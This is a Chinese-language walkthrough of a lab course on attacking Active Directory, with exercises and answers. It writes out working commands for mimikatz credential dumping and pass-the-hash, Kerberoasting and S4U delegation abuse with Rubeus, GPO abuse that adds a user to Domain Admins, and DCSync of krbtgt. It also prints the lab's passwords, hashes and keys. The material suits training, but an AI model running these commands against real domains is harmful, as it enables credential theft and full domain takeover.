Active-Directory-Security-101
環境搭建
https://github.com/cfalta/adsec/tree/main/lab-setup
- DC2019-Windows 2019
- user1-Windows 2019
- user2-Windows 2019
配置域控
新增一個網卡,三個虛擬機使用這個網卡

設定指定ip

我是直接復制虛擬機,需要更改mac地址和sid。

還要更改sid
可以使用系統內置的工具sysprep或者另外一個newsid

工具https://newsid.softag.com/download

在三臺機器上以管理員權限執行以下命令。
- 關閉防火墻
Set - NetFirewallProfile - Profile Domain , Public , Private - Enabled False
- 關閉Windows Defender
Uninstall - WindowsFeature - Name Windows - Defender
下載自動化腳本輔助安裝
https://github.com/cfalta/adsec/tree/main/lab-setup/domain-setup-scripts
運行createdomain腳本,自行修改里面的域名稱。
這里應該不能一步完成
先執行
Install - WindowsFeature - Name AD - Domain - Services - IncludeManagementTools
重啟后再繼續執行。


重啟后執行這個文件


功能就是根據json文件去自動添加用戶和組等等。


配置域內機器
在兩臺成員機器上使用以下兩個域賬號注冊
John DoejohnP@ssw0rdBruce LeebleeTekkenIsAwesome!
user1這臺用john認證

user2機器用blee登錄
攻擊機器準備
用john登錄user1這臺機器,當做入口點,再分配一張網卡,讓他出網。
默認工具包下載地址
https://github.com/cfalta/adsec/blob/main/exercises/attacker-tools
bloodhound安裝及配置
谷歌一下
信息收集
導入powerview模塊
cd C : \attacker - tools cat - raw ".\PowerView.ps1" | iex
獲取當前域的基本信息和域控位置
Get - Domain Get - DomainController

查看有多少電腦和域內用戶
Get - DomainComputer Get - DomainUser
過濾出域管出來
Get
-
DomainUser
|
?
{
$_
.
memberof
-
like
"*Domain Admins*"
}
Get
-
DomainUser
|
?
{
$_
.
memberof
-
like
"*Domain Admins*"
}
|
select samaccountname


課后習題
參考答案我會放在最后面哦
- 域中有多少臺計算機以及它們在什么操作系統上運行?
- 域中有多少用戶?編寫一個 powershell 語句進行查詢,以表格形式列出所有用戶,僅顯示屬性 samaccountname、displayname、description 和最后一次密碼更改的時間。
- 您能識別出哪些自定義的管理員組?以通用方式更改上面的 powershell 查詢,使其僅返回自定義管理組。
- 找到對應管理員組的成員,這些用戶上一次設置密碼是什么時候?
- 有快速識別出域中服務帳戶的簡單方法嗎?編寫一個 powershell 查詢,列出所有服務帳戶。
NTLM的利用
- mimikatz
- psexec
需要管理員權限,使用本地administrator用戶登錄
privilege :: debug token :: elevate lsadump :: sam
獲得到管理員hash
7dfa0531d73101ca080c7379a9bff1c7

pth攻擊
sekurlsa :: pth / user : Administrator / ntlm : 7dfa0531d73101ca080c7379a9bff1c7 / domain : wing . lab
psexec . exe \\user2 cmd

課后習題
- mimikatz 執行"privilege::debug"和"token::elevate"的目的是什么?為什么需要執行它們?
- 以 Bruce Lee 的身份登錄 user1。使用您在上面學到的知識幫助 john 從內存中遠程提取 Bruce Lee的 NTLM 哈希。
- 如何盡可能的緩解PTH攻擊,請講清楚原因。
- 是否有可能(并且可行)完全禁用 NTLM?解釋你的理由。
Kerberos-Roasting
預習資料域滲透——AS-REP Roasting
加載插件
cd C : \attacker - tools cat - raw . \PowerView . ps1 | iex cat - raw . \Invoke - Rubeus . ps1 | iex
查詢SPN,獲得服務用戶
Get - DomainUser - SPN | select samaccountname , description , pwdlastset , serviceprincipalname
Rubeus有一個統計kerberos數據的功能
Invoke - Rubeus - Command "kerberoast /stats"
獲取目標賬戶的TGS
Invoke - Rubeus - Command "kerberoast /user:taskservice /format:hashcat /outfile:krb5tgs.txt"
這里的腳本是base64之后通過powershell內存加載

function
Invoke
-
Rubeus
([
string
]
$Command
)
{
$Message
=
"base64"
;
$Assembly
=
[
System
.
Reflection
.
Assembly
]::
Load
([
Convert
]::
FromBase64String
(
$Message
))
[
Rubeus
.
Program
]::
Main
(
$Command
.
Split
(
" "
))
}
破解TGS
. \john . exe .. \. . \krb5tgs . txt -- wordlist =.. \. . \example . dict -- rules = passphrase - rule2

課后習題
- 研究如何最好地減輕 kerberoasting 攻擊。描述一下您認為最好的緩解技術,并解釋其原因。
- 還有一個用戶會受到ASREP roasting影響,請找出來。
- 解釋一下TGS vs. ASREP roasting
Kerberos (Delegation)
之前設置的時候沒改json里面的數據,要把domain改了

找到委派用戶
Get - DomainUser - TrustedToAuth
查看委派的目標
Get - DomainUser - TrustedToAuth | select - ExpandProperty msds - allowedtodelegateto

執行這個攻擊的條件就是要知道用戶的密碼才行
生成hash
Invoke - Rubeus - Command "hash /password:Amsterdam2015 /domain:wing.lab /user:service1"
Rubeus允許我們在新的登錄會話中啟動powershell。這意味著我們偽造的票證只存在于這個登錄會話中,不會干擾用戶john已經存在的kerboers票證。

使用s4u請求一個TGS模擬域管理用戶Bruce(bwillis)攻擊user1。
我們請求3個不同服務的票證
CIFS將用于SMB訪問
HOST/RPCSS用于WMI
Invoke - Rubeus - Command "s4u /user:service1 /aes256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 /impersonateuser:bwillis /msdsspn:cifs/user1.wing.lab /ptt" Invoke - Rubeus - Command "s4u /user:service1 /aes256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 /impersonateuser:bwillis /msdsspn:host/user1.wing.lab /ptt" Invoke - Rubeus - Command "s4u /user:service1 /aes256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 /impersonateuser:bwillis /msdsspn:rpcss/user1.wing.lab /ptt"
查看緩存的票據
前面我設置錯了,委派的目標應該設置成user2,user1是自己,不過意思都一樣。

ls \\user1 . wing . lab\C$
通過wmi控制user1
Get - WmiObject - Class win32_process - ComputerName adsec - 01.contoso . com
課后習題
- 在上面的練習中,您通過SMB和WMI獲得了對服務器user的讀取權限。現在試著通過這兩個協議來執行代碼。目標是執行以下命令,將用戶john添加到本地管理組
- 嘗試模擬域管理員用戶Chuck Norris而不是“Bruce Willis。有什么作用
ACL攻擊
信息收集
cat - raw . \SharpHound . ps1 | iex Invoke - Bloodhound - CollectionMethod DcOnly - Stealth - PrettyJson - NoSaveCache
- CollectionMethod DcOnly表示僅從域控收集數據。從opsec的角度來看,這樣比較好,因為是正常流量。
- Stealth單線程啟動。速度較慢,但安全。
- PrettyJson 格式化.json文件。
- NoSaveCache 不保存緩存文件。
啟動血犬

下載社區版的neo4j
https://neo4j.com/download-center/#releases
? jdk11 ? ./ neo4j start

先把service1標記為已淪陷

點擊這里


這里顯示用戶對域控的組策略有寫入權限,通過組策略利用,攻擊DC
需要先以service1的身份登錄
runas / user : wing . lab\service1 powershell . \SharpGPOAbuse . exe -- AddComputerTask -- TaskName "Update" -- Author contoso\adminuser -- Command "cmd.exe" -- Arguments '/c net group \"Domain Admins\" john /ADD' -- GPOName "Default Domain Controllers Policy" -- force


寫入完成以后,需要等管理員更新組策略才會觸發。
手工弄一下。

提權成功

成功登錄到域控

課后習題
- acl攻擊有哪些利用工具?
權限維持
權限維持的東西比較多
- 金銀票據
- Mimikatz后門
- 等等等等
一般拿到DC權限就先執行
lsadump :: dcsync / user : krbtgt
拿到所有用戶hash,也可以作為后門。
課后習題
- 自主學習這些權限維持方法的原理。
參考答案
我做的不一定對,有錯誤請留言。
信息收集
powerview3.0 tricks
https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
- 域中有多少臺計算機以及它們在什么操作系統上運行?

- 域中有多少用戶?編寫一個 powershell 語句進行查詢,以表格形式列出所有用戶,僅顯示屬性 samaccountname、displayname、description 和最后一次密碼更改的時間。

- 您能識別出哪些自定義的管理員組?以通用方式更改上面的 powershell 查詢,使其僅返回自定義管理組。
Get - DomainGroupMember - Identity "Domain Admins" - Recurse

- 找到對應管理員組的成員,這些用戶上一次設置密碼是什么時候?

- 有快速識別出域中服務帳戶的簡單方法嗎?編寫一個 powershell 查詢,列出所有服務帳戶。
Get - DomainUser - SPN | select serviceprincipalname , userprincipalname , pwdlastset , lastlogon

NTLM
獼猴桃命令大全
- mimikatz 執行"privilege::debug"和"token::elevate"的目的是什么?為什么需要執行它們?
privilege :: debug - 提升為管理員權限 token :: elevate - 偽造令牌,獲得 system 權限或發現其他用戶的令牌
- 以 Bruce Lee 的身份登錄 user1。使用您在上面學到的知識幫助 john 從內存中遠程提取 Bruce Lee的 NTLM 哈希。
lsadump :: dcsync / domain : wing . lab / user : bruce dump 所有數據 lsadump :: dcsync / domain : wing . lab / all / csv
- 如何盡可能的緩解PTH攻擊,請講清楚原因。
- 打上補丁kb2871997并且禁用SID=500的管理員用戶
- 監控日志
- 是否有可能(并且可行)完全禁用 NTLM?解釋你的理由。
- 審查收到的NTLM流量:啟用對所有帳戶的審查
- 僅發送NTLMv2響應。拒絕LM&NTLM
第四點我不太確定。
Kerberos (Roasting)
- 研究如何最好地減輕 kerberoasting 攻擊。描述一下您認為最好的緩解技術,并解釋其原因。
- 禁止用戶開啟
DonotrequireKerberospreauthentication - 禁止弱口令
- 還有一個用戶會受到ASREP roasting影響,請找出來。
Get-DomainUser -PreauthNotRequired -Verbose
- 解釋一下TGS vs. ASREP roasting
https://www.4hou.com/posts/YVyM
Kerberos (Delegation)
- 在上面的練習中,您通過SMB和WMI獲得了對服務器user的讀取權限。現在試著通過這兩個協議來執行代碼。目標是執行以下命令,將用戶john添加到本地管理組:
- psexec
wmic / node : user1 process call create "cmd.exe /c net localgroup Administrators john /add"
- 嘗試模擬域管理員用戶Chuck Norris而不是“Bruce Willis。有什么作用?
可以攻擊域控
ACL
acl攻擊有哪些利用工具?
- github.com
權限維持
- 自主學習這些權限維持的原理。




